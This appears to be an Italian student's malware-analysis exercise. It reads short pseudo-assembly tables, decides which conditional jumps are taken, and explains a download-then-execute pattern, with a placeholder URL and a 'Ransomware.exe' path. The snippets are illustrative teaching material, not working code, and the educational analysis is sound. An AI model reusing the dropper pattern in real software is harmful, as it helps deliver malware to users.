Progetto S11/L5

In questo progetto, poste le 3 tabelle fornite, ci viene chiesto di rispondere ai seguenti quesiti:

- Spiegare, motivando, quale salto condizionale effettua il Malware
- Disegnare un diagramma di flusso identificando i salti condizionali (sia quelli effettuati che quelli non effettuati) e indicare con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati
- Spiegare quali sono le diverse funzionalità implementate all'interno del Malware
- Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione

Quesito 1 – 2

a)

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

b)

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

a) "cmp EAX, 5" compara il valore nel registro EAX (5) con il valore 5. "jnz loc 0040BBA0" salterebbe all'indirizzo indicato se il risultato della comparazione non fosse zero ma poiché 5 -5 = 0 **NON C'E' salto**.

b) Al contrario, "cmp EBX, 11" compara il valore nel registro EBX (10) con il valore 11. "jz loc 0040FFA0" salta all'indirizzo indicato se il risultato della comparazione è zero e poiché nel nostro caso ZF = 1 **il salto C'E'**

Quesito 3

La funzione “DownloadToFile()” (in arancione) potrebbe essere associata a un **downloader**. Il fatto che venga chiamata con un URL (in blu) suggerisce che la funzione potrebbe essere coinvolta nel download di file da un server remoto pertanto potrebbe scaricare il malware. La funzione “WinExec()” (in giallo) sembra essere un percorso del **file eseguibile** (in nero) che potrebbe eseguire il malware.

Quesito 4

L’URL contenuto in EAX (in blu) viene passato alla funzione “DownloadToFile()” mettendolo nello stack prima della chiamata, mentre le istruzioni “mov EDX” e “push EDX” (in nero) mettono nello stack il percorso del file eseguibile contenuto nel registro EDX. Sostanzialmente entrambe le chiamate alla funzione utilizzano l’istruzione “push” per mettere un valore nello stack, e poi chiamano la funzione corrispondente con l'istruzione call.